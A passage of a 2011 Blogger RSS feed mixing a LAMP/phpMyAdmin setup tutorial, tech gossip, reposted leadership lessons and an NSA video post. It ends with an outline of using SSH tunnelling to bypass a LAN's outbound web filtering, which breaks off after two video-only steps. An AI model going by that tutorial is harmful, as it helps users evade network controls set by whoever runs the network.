&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-zD01SAPapL8/TqFluQNsh0I/AAAAAAAAAVE/yipqdt9o3eM/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="297" src="http://2.bp.blogspot.com/-zD01SAPapL8/TqFluQNsh0I/AAAAAAAAAVE/yipqdt9o3eM/s400/2.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;h3&gt;7 phpMyAdmin&lt;/h3&gt;&lt;a href="http://www.phpmyadmin.net/" target="_blank"&gt;phpMyAdmin&lt;/a&gt; is a web interface through which you can manage your MySQL databases. It's a good idea to install it:&lt;br /&gt;
&lt;div class="command"&gt;apt-get install phpmyadmin&lt;/div&gt;You will see the following questions:&lt;br /&gt;
&lt;span class="system"&gt;Web server to reconfigure automatically:&lt;/span&gt; &lt;span class="highlight"&gt;&amp;lt;-- apache2&lt;/span&gt;&lt;br /&gt;
&lt;span class="system"&gt;Configure database for phpmyadmin with dbconfig-common?&lt;/span&gt; &lt;span class="highlight"&gt;&amp;lt;-- No&lt;/span&gt; &lt;br /&gt;
Afterwards, you can access phpMyAdmin under &lt;span class="system"&gt;http://192.168.0.23/phpmyadmin/&lt;/span&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-XVYPu5_5l3Q/TqFmEMb99UI/AAAAAAAAAVM/w1IKFNsQoU0/s1600/7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://1.bp.blogspot.com/-XVYPu5_5l3Q/TqFmEMb99UI/AAAAAAAAAVM/w1IKFNsQoU0/s400/7.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iF U HAVE FURTHER Doubts , Refere the below links thanks&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; Apache: &lt;a href="http://httpd.apache.org/" target="_blank"&gt;http://httpd.apache.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;PHP: &lt;a href="http://www.php.net/" target="_blank"&gt;http://www.php.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;MySQL: &lt;a href="http://www.mysql.com/" target="_blank"&gt;http://www.mysql.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ubuntu: &lt;a href="http://www.ubuntu.com/" target="_blank"&gt;http://www.ubuntu.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;phpMyAdmin: &lt;a href="http://www.phpmyadmin.net/" target="_blank"&gt;http://www.phpmyadmin.net/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-2937991702873399141?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/FV8tOW38nbQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/FV8tOW38nbQ/installing-lamp-on-ububtu-11xx-tutorial.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://2.bp.blogspot.com/-l_6Xog9cqHs/TqFkZo_09CI/AAAAAAAAAU0/2v5aRTpx9kg/s72-c/3.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/10/installing-lamp-on-ububtu-11xx-tutorial.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-8491207539918760135</guid><pubDate>Mon, 17 Oct 2011 10:29:00 +0000</pubDate><atom:updated>2011-10-17T03:29:52.517-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech Updates</category><category domain="http://www.blogger.com/atom/ns#">General</category><title>Mark Zuckerberg Uses Android Phone Finally</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;If his recent Facebook activity has to be believed, than Facebook’s  founder and CEO might have just ditched his iPhone for Android. It was  only last month when Mark made the headlines for switching to iPhone (it was 3GS, not iPhone 4) from BlackBerry. But the experience wasn’t all that great as he posted about his frustrations with the device, citing poor battery &lt;span style="color: blue; font-family: inherit ! important; font-size: inherit ! important; font-weight: inherit ! important; position: static;"&gt;&lt;span class="kLink" style="color: #0000ff !important; font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static;"&gt;life&lt;/span&gt;&lt;/span&gt;,  and phone calling quality. He also said that he will get the new iPhone  4 and see if that solves all his problems before switching to Android.&lt;br /&gt;
&lt;div align="center"&gt;&lt;img alt="Facebook Zuckerberg on iPhone" border="0" height="332" src="http://www.redmondpie.com/wp-content/uploads/2010/06/FacebookZuckerbergoniPhone.jpg" style="display: block; float: none; margin-left: auto; margin-right: auto;" title="Facebook Zuckerberg on iPhone" width="500" /&gt;&lt;em&gt;Mark Zuckerberg Profile on Facebook, &lt;strong&gt;June&lt;/strong&gt; 2010&lt;/em&gt;&lt;/div&gt;And now according to his &lt;a href="http://www.facebook.com/zuck#%21/zuck?v=wall" target="_blank"&gt;recent Facebook activity&lt;/a&gt;, it looks like he has finally gone for an Android phone.&lt;br /&gt;
&lt;div align="center"&gt;&lt;img alt="Mark Zuckerberg" border="0" class="wlDisabledImage" height="412" src="http://www.redmondpie.com/wp-content/uploads/2010/07/MarkZuckerberg1.jpg" style="border-width: 0px; display: block; float: none; margin: 0px auto;" title="Mark Zuckerberg" width="541" /&gt;&lt;em&gt;Mark Zuckerberg Profile on Facebook, &lt;strong&gt;July&lt;/strong&gt; 2011&lt;/em&gt;&lt;/div&gt;But given the amount of revenues that he generates from the most popular social networking site, I wouldn’t be surprised if he keeps both the iPhone 4 and an Android phone to fulfill all his needs. &lt;br /&gt;
Oh and now that Zuckerberg is using an Android phone, we may finally see an update for &lt;em&gt;Facebook for Android&lt;/em&gt; app which badly needs to get updated to come on-par with the iPhone version.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-8491207539918760135?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/ud3kIHg4whs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/ud3kIHg4whs/mark-zuckerberg-uses-android-phone.html</link><author>noreply@blogger.com (h4ckfreak)</author><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/10/mark-zuckerberg-uses-android-phone.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-8315495592765402291</guid><pubDate>Tue, 13 Sep 2011 08:37:00 +0000</pubDate><atom:updated>2011-09-13T01:37:04.036-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">General</category><title>Lessons from Dhoni’s Leadership</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;h2 class="storytitle" id="post-820"&gt;&lt;a href="http://changeminds.wordpress.com/2011/04/03/lessons-from-dhonis-leadership/" rel="bookmark" title="Permanent Link: Lessons from Dhoni’s Leadership"&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/h2&gt;Dhoni gives the following Leadership tips for every aspiring Leader :&lt;br /&gt;
1. We should be a performer and we should demonstrate the same to our  team. Performance is itself the most effective communication down the  line.&lt;br /&gt;
2. Leader has to be humble in way to consider part and parcel of the team and not above the team.&lt;br /&gt;
3. Give genuine respect and trust to the team members.&lt;br /&gt;
4. Allow them to experiment and take risk.&lt;br /&gt;
5. In case of failure, encourage him / her to introspect and do it next time with more vigour and better planning.&lt;br /&gt;
6. Make every one in the team feel that , even though we are leaders, we are just one among them.&lt;br /&gt;
&lt;a href="http://changeminds.files.wordpress.com/2011/04/dhonis-new-bald-look-pictures_1.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img alt="" class="alignleft size-full wp-image-821" height="671" src="http://changeminds.files.wordpress.com/2011/04/dhonis-new-bald-look-pictures_1.jpg?w=470&amp;amp;h=671" title="Dhonis-new-bald-look-pictures_1" width="470" /&gt;&lt;/a&gt;7. We should also believe in the ones who failed in the Team. At  crucial times a team member who was not able to deliver might do  miracles.&lt;br /&gt;
8. As a leader, be calm in extreme situations and lead the team from front.&lt;br /&gt;
9. Share the credit of success with your team members and praise them in public.&lt;br /&gt;
10. Above all believe in every member in the team.&lt;br /&gt;
&lt;br /&gt;
&lt;div align="justify"&gt;When Ganguly was playing his last match, as a  gesture of respect, Dhoni asked Ganguly to take charge of the team when  the ninth Aussie wicket fell. Whenever he has an opportunity, he showers  his players with praises&lt;/div&gt;&lt;div align="justify"&gt;Managing under change is a vital attribute to be  learned from the leadership under Dhoni. A good leader doesn’t mind  going out and exploring. Dhoni’s risk taking ability, inclusiveness and  time-pressure qualities are good examples of leaders on the business  side.&lt;/div&gt;&lt;div align="justify"&gt;If you notice, instead of pressing teammates to win,  Dhoni told them to just enjoy the game. Also, he has mentioned at  several forums that he believes to live in the present and not worry  about future or past.. Dhoni’s leadership style represents teamwork,  empowerment and confidence.&lt;/div&gt;&lt;div align="justify"&gt;Dhoni utilizes every team member at his disposal and  brings out the best performance whether he is a senior or junior player.  He provides opportunity for every team member to prove themselves and  contribute to the best of their abilities.&lt;/div&gt;&lt;div align="justify"&gt;Remember, he gave the last over to Joginder Sharma  who doesn’t have much a track record., By putting such a person in front  of a challenging task, it tells the person that the leader has  confidence in his abilities and will be fired up to put in 120 per cent.  This happened with Joginder Sharma in two critical matches, where he  was hit all around the ground and still given the last over. He  delivered on both instances!&lt;/div&gt;&lt;div align="justify"&gt;Leaders need to be assertive yet humble and must  rarely allow their personal egos to be an obstacle for the success of  their organization and that’s what M.S. Dhoni showing us through his  current leadership style.&lt;/div&gt;&lt;div align="justify"&gt;Another learning from Dhoni is about, Optimal  utilization of resources, which is vital for any business. Instead of  giving excuses for lack of best resources, especially with the current  scenario economic crisis, it is better to perform in whatever resources a  leader has to his disposal&lt;/div&gt;&lt;div align="justify"&gt;His ‘people management’ skills tell us, he is truly a  great leader. When team members see their leader calm in extreme  situations, they will not be rattled. It will enable them to focus on  their work and do what is expected of them. Dhoni was always calm –  whether the bowler started off the last over in the finals with a wide  ball or the batsman played a series of dot balls in a slog over.&lt;/div&gt;&lt;div align="justify"&gt;Mahendra Singh Dhoni is a forthright, straightforward  cricketer unburdened by the baggage that generally accompanies a man  onto the field, thereby restricting his outlook. At once he is  intelligent and simple, aggressive and canny, tough and respectful.&lt;/div&gt;&lt;strong&gt;Dhoni’s Inspiring Quotes&lt;/strong&gt;&lt;br /&gt;
&lt;div align="justify"&gt;When asked why he was not happy at the moment of  victory at the post match conference, Dhoni replied, “I didn’t like way  we played. With such a strong batting display, we should have won  comfortably”. Would you ever expect the captain of a team not celebrate  the moment of victory in a match that almost went down to the wire? &lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="background-color: yellow;"&gt;“I never predict what will happen in cricket. We believe in each other and we believe in the process.&lt;/span&gt; We will take each game in the right frame of mind,” he said&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="background-color: yellow;"&gt;“We are not  thinking about what may happen if we achieve or what may happen if we  don’t succeed because those two things are beyond our control.&lt;/span&gt; So  rather than thinking about something that’s too much ahead of us it is  very important to take every game in the right frame of mind and that is  what will be our process throughout the tournament,” he clarified&lt;/div&gt;&lt;div align="justify"&gt;“If you have not achieved something, there’s pressure  on you to achieve it. Once you have achieved it, there is pressure to  sustain it. Nothing comes easy.”&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="background-color: yellow;"&gt;“We didn’t rely on one specific individual, everybody contributed.&lt;/span&gt; Each and every batsman scored at some point in the series and the same applies to the bowlers also.”&lt;/div&gt;In a nutshell Dhoni’s story is all about an ordinary man doing  extraordinary things and a role model for every aspiring leader. Each  one of us could use this model, pattern and design to create our  leadership journey.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-8315495592765402291?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/L4E64ZfRMGA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/L4E64ZfRMGA/lessons-from-dhonis-leadership.html</link><author>noreply@blogger.com (h4ckfreak)</author><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/09/lessons-from-dhonis-leadership.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-1503562446787351583</guid><pubDate>Tue, 13 Sep 2011 08:05:00 +0000</pubDate><atom:updated>2011-09-13T01:05:19.673-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">General</category><title>30 lessons from Infosys Narayana Murthy</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;NR Narayana Murthy, who steps down as Infosys chairman on August 20,  is a role model for not just what he achieved but also how he did it.  Here are 30 lessons from Murthy, one for each year he spent at company.&lt;br /&gt;
1-Seize Your Gandhi Moment&lt;br /&gt;
Murthy, a self proclaimed socialist in the mid ’70s was jailed for 72  hours in Bulgaria. The experience taught him that entrepreneurship and  job creation is the way to alleviate poverty.&lt;br /&gt;
2-You might fail, but get started Learn from mistakes and move on.&lt;br /&gt;
In 1976, Murthy founded Softronics, a company that lasted a year and a  half. When he realised that his first venture wasn’t taking off, he  moved on.&lt;br /&gt;
3-Think Big. Don’t Hesitate to Start Small &lt;br /&gt;
In 1981, a determined Murthy started Infosys with Rs 10,000 he  borrowed from his wife. In few years, Infosys went on to become one of  the largest wealth creators in the country.&lt;br /&gt;
4-Cut Yourself a Slice, Not a Large One Always &lt;br /&gt;
When Infosys was set up, Murthy took a pay cut while salaries of  other co-founder’s were increased by 10 percent. According to Murthy, a  leader needs to show his or her sacrifice and commitment&lt;br /&gt;
.5-Lend a Hand and Throw in a Foot Too.&lt;br /&gt;
After Murthy convinced seven of his colleagues, there was a problem.  Nandan’s future inlaws were not sure about him. Murthy met Nandan’s  uncle and convinced him.&lt;br /&gt;
6-Own Up, and Then Clean Up &lt;br /&gt;
In the ’80s Infosys developed an application for a German client.  Murthy noticed a single character error and informed the client  immediately.&lt;br /&gt;
7-Trust in God, But Verify with Data&lt;br /&gt;
In God we trust, the rest must come with data, is perhaps Murthy’s  favourite statement. When confronted with difficult decisions, he tends  to rely on data.&lt;br /&gt;
8-Keep the Faith &lt;br /&gt;
Infosys almost wound up in 1990. Murthy did not want to sell the  company. He asked co-founders if they wanted out and offered to buy  their shares. All of them stuck together.&lt;br /&gt;
9-Get Involved &lt;br /&gt;
Infosys won a contract from Reebok in the early ’90s. Seeing the  founders involvement, the software, was nick named ‘Dinesh, Murthy and  Prahlad.’ Infy veterans still recall those days. &lt;br /&gt;
10-Sharing is Caring &lt;br /&gt;
After the IPO, Infosys decided to share a portion of its equity with  employees. This helped them retain talent and gave employees a sense of  ownership. Murthy is proud of having given away stocks worth over Rs  50,000 crore to employees.&lt;br /&gt;
11-Treat your People Good, but Your Best Better&lt;br /&gt;
Murthy always had a thing for good performers. And he rewarded them  well. When Infosys decided to give its employees stock options, Murthy  insisted that some shares be given to good performers through the  ‘Chairman’s quota.’&lt;br /&gt;
12-Hire a Good Accountant, Even if he is Argumentative&lt;br /&gt;
A young, argumentative Indian, was asking too many questions at an  annual general body meeting of Infosys. More impressed than irritated,  he hired Mohandas Pai, who went on to help Infosys list on Nasdaq.&lt;br /&gt;
13-When in Doubt, Disclose &lt;br /&gt;
Keep your books clean and leave the cooking to the chef. Murthy’s  philosophy about being open and transparent has given the company a lot  of credibility. He often says, “When in doubt, please disclose.”&lt;br /&gt;
14-Leave the Family Out&lt;br /&gt;
Murthy told his wife that only one of them could be with the company.  Murthy, along with other founders, said that none of their children  would work for Infosys. This left no room for nepotism at Infosys.&lt;br /&gt;
15-Don’t be a Push over&lt;br /&gt;
&lt;a href="http://changeminds.files.wordpress.com/2011/08/narayan-murthy-111_26.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img alt="" class="alignleft size-full wp-image-880" height="313" src="http://changeminds.files.wordpress.com/2011/08/narayan-murthy-111_26.jpg?w=450&amp;amp;h=313" title="narayan-murthy-111_26" width="450" /&gt;&lt;/a&gt;In 1994, when General Electric wanted to re-negotiate rates, Murthy  said no to selling services any cheaper. This helped Infosys not to be  overly dependent on any one client.&lt;br /&gt;
16-Make hay While the Sun Shines&lt;br /&gt;
In late 90′s, India’s tech companies made use of the Y2K opportunity  to make themselves known in the global market. For Infosys, it was a  great opportunity to enter into long-term relationships with their  customers.&lt;br /&gt;
17-Brand-aid First, Get Clinical &lt;br /&gt;
When the sexual harassment case against Infosys’ top sales guy  Phaneesh Murthy threatened to tarnish the company’s brand, Murthy  decided to quickly react. He let go of Phaneesh, and settled the case  out of court despite Phaneesh wanting to fight it out.&lt;br /&gt;
18-Mind your Business, you’ll See Things Coming &lt;br /&gt;
Murthy carries and updates a mental model of Infosys’ business all  the time. According to him, every leader must have a model, consisting  of six to seven parameters that might affect business.&lt;br /&gt;
19-Keep it Simple, Not Silly &lt;br /&gt;
Keep your life simple and straight. That way, you get to work more  and worry less. Murthy is known to be frugal with money. Despite being  one of the richest Indians, he leads a simple life. However, he does not  cut corners on buying books or brushing up on literature.&lt;br /&gt;
20-Founders Keepers, but Not Forever &lt;br /&gt;
Murthy’s decision to not allow founders to continue with the company  after the age of 65 set another standard for the company. This way,  younger leaders at Infosys had a greater chance at the top positions.&lt;br /&gt;
21-Talent Spotting and Division of Labour &lt;br /&gt;
Murthy is known to have an eye for talent and a talent for dividing  labour. Nandan was given sales responsibilities while Kris and Shibu did  the tech stuff. N S Raghavan was asked to handle people and Dinesh was  assigned quality.&lt;br /&gt;
22-Hold on to Your People but don’t Cling&lt;br /&gt;
Letting go is never easy but its not good to cling on to your  colleagues either. Amongst the founders, Ashok Arora, Nandan Nilekani  and K Dinesh have quit Infosys. Infy veteran Mohandas Pai has also left  Infosys.&lt;br /&gt;
23-Give, it only gets you more&lt;br /&gt;
In 2010, the Murthy’s donated $ 5.2 million USD to Harvard University  Press for a project that aims to make India’s classical heritage  available for generations to come. He is also supporter of the Akshaya  Patra Foundation.&lt;br /&gt;
24-Do it First and Do it Right &lt;br /&gt;
Infosys did many things first. And most things right. For example, it  was the first Indian company to list on Nasdaq. It was the first Indian  company to make it to the Nasdaq 100 list and it was the first Indian  company to attain the highest level of quality certification.&lt;br /&gt;
25-Perils of Being a Poster Child&lt;br /&gt;
Being the poster child of Indian IT industry, Infosys and Murthy have  been at the receiving end of many criticisms. The company has been  accused of taking away American jobs and been called a “chop shop.”&lt;br /&gt;
26-Get Rich. Honestly&lt;br /&gt;
Rich businesses were considered to be dirty in the days when the  country had a socialist bent. Infy was a company which got rid of this  sentiment. Murthy, with his ‘no compromise’ policy on greasing palms and  doing ethical business, set the standards.&lt;br /&gt;
27-Do Not be Afraid to Court Controversy&lt;br /&gt;
Ever since Infosys became a success, Murthy was under constant public  glare. This did not deter the straight talking Murthy from courting  controversy or voicing his opinions openly.&lt;br /&gt;
28-Invest in Learning&lt;br /&gt;
With big investments in training, development and building  facilities, India’s IT bell-weather has always been keen on grooming the  younger generation. Murthy drove the culture of learning in the company  in its early days&lt;br /&gt;
.&lt;br /&gt;
29-Never Lose the Common Touch&lt;br /&gt;
The big man of Indian IT kept his personal life simple. He lives in a  simple, middle class house and flies economy till date. Murthy has  always been accessible to people around him.&lt;br /&gt;
30-Do Good, Look Good&lt;br /&gt;
Murthy knew the importance of creating an image for Infosys. He  invested in creating a sprawling, world class campuses early on, bigger  than any other company’s headquarters in the country, that would make  his global customers feel like they were in a global office. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-1503562446787351583?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/vKM-eKuXsQ0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/vKM-eKuXsQ0/30-lessons-from-infosys-narayana-murthy.html</link><author>noreply@blogger.com (h4ckfreak)</author><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/09/30-lessons-from-infosys-narayana-murthy.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-8082884483632443669</guid><pubDate>Thu, 08 Sep 2011 06:05:00 +0000</pubDate><atom:updated>2011-09-07T23:05:40.865-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech UpdatesFacebook Hacks</category><category domain="http://www.blogger.com/atom/ns#">General</category><title>An inside look at the National Security Agency (NSA).</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-mXdd_NRSckg/TmhbKFauTfI/AAAAAAAAAUk/b91SvIkSpD8/s1600/index.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/-mXdd_NRSckg/TmhbKFauTfI/AAAAAAAAAUk/b91SvIkSpD8/s400/index.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3 class="post-title entry-title"&gt; &lt;a href="http://ai-infosec.blogspot.com/2011/06/inside-look-at-national-security-agency.html"&gt;&lt;br /&gt;
&lt;/a&gt; &lt;/h3&gt;&lt;div class="post-header"&gt;  &lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;The following&amp;nbsp;video is an official release&amp;nbsp;by the&amp;nbsp;NSA, for PR purposes.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;The movie&amp;nbsp;can also&amp;nbsp;be found on the&amp;nbsp;agency's Website.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://2.gvt0.com/vi/XllQM-Moc_I/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/XllQM-Moc_I&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/XllQM-Moc_I&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Must Watch for all Computer security enthusiasts,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-8082884483632443669?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/6YyT77ZzLx4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/6YyT77ZzLx4/inside-look-at-national-security-agency.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://3.bp.blogspot.com/-mXdd_NRSckg/TmhbKFauTfI/AAAAAAAAAUk/b91SvIkSpD8/s72-c/index.jpg" height="72" width="72" /><thr:total>0</thr:total><enclosure url="http://www.youtube.com/v/XllQM-Moc_I&amp;fs=1&amp;source=uds" length="1005" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/XllQM-Moc_I&amp;fs=1&amp;source=uds" fileSize="1005" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> The following&amp;nbsp;video is an official release&amp;nbsp;by the&amp;nbsp;NSA, for PR purposes.&amp;nbsp; The movie&amp;nbsp;can also&amp;nbsp;be found on the&amp;nbsp;agency's Website. The Must Watch for all Computer security enthusiasts, Thanks </itunes:subtitle><itunes:author>noreply@blogger.com (h4ckfreak)</itunes:author><itunes:summary> The following&amp;nbsp;video is an official release&amp;nbsp;by the&amp;nbsp;NSA, for PR purposes.&amp;nbsp; The movie&amp;nbsp;can also&amp;nbsp;be found on the&amp;nbsp;agency's Website. The Must Watch for all Computer security enthusiasts, Thanks </itunes:summary><itunes:keywords>Tech UpdatesFacebook Hacks, General</itunes:keywords><feedburner:origLink>http://defendhackers.blogspot.com/2011/09/inside-look-at-national-security-agency.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-2718325058465711402</guid><pubDate>Thu, 08 Sep 2011 05:56:00 +0000</pubDate><atom:updated>2011-09-07T23:07:27.660-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tools</category><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><title>How to Bypass Firewall restrictions on outgoing Web connections, using SSH Tunneling</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;h3 class="post-title entry-title"&gt;&lt;a href="http://2.bp.blogspot.com/-9Bz7D1hSZJk/Tmhbg7fGTuI/AAAAAAAAAUo/U6m1n5bbQTE/s1600/superare_firewall_tunnel_ssh.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-9Bz7D1hSZJk/Tmhbg7fGTuI/AAAAAAAAAUo/U6m1n5bbQTE/s320/superare_firewall_tunnel_ssh.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/h3&gt;&lt;div class="post-header"&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The  following procedure allows you to get to blocked Websites, from within a  LAN which is subject to Firewall restrictions on outgoing HTTP  connections (Web Filtering).&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;Step 1:&lt;/b&gt; How to set up an SSH server in Windows, using CopSSH (an implementation for Windows&amp;nbsp;of OpenSSH).&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://0.gvt0.com/vi/eoAwSUr5kHQ/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/eoAwSUr5kHQ&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/eoAwSUr5kHQ&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;Step 2:&lt;/b&gt;&amp;nbsp;How to create&amp;nbsp;an SSH Tunnel to the server, in order to&amp;nbsp;bypass local&amp;nbsp;Firewall restrictions on outgoing HTTP&amp;nbsp;connections. &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
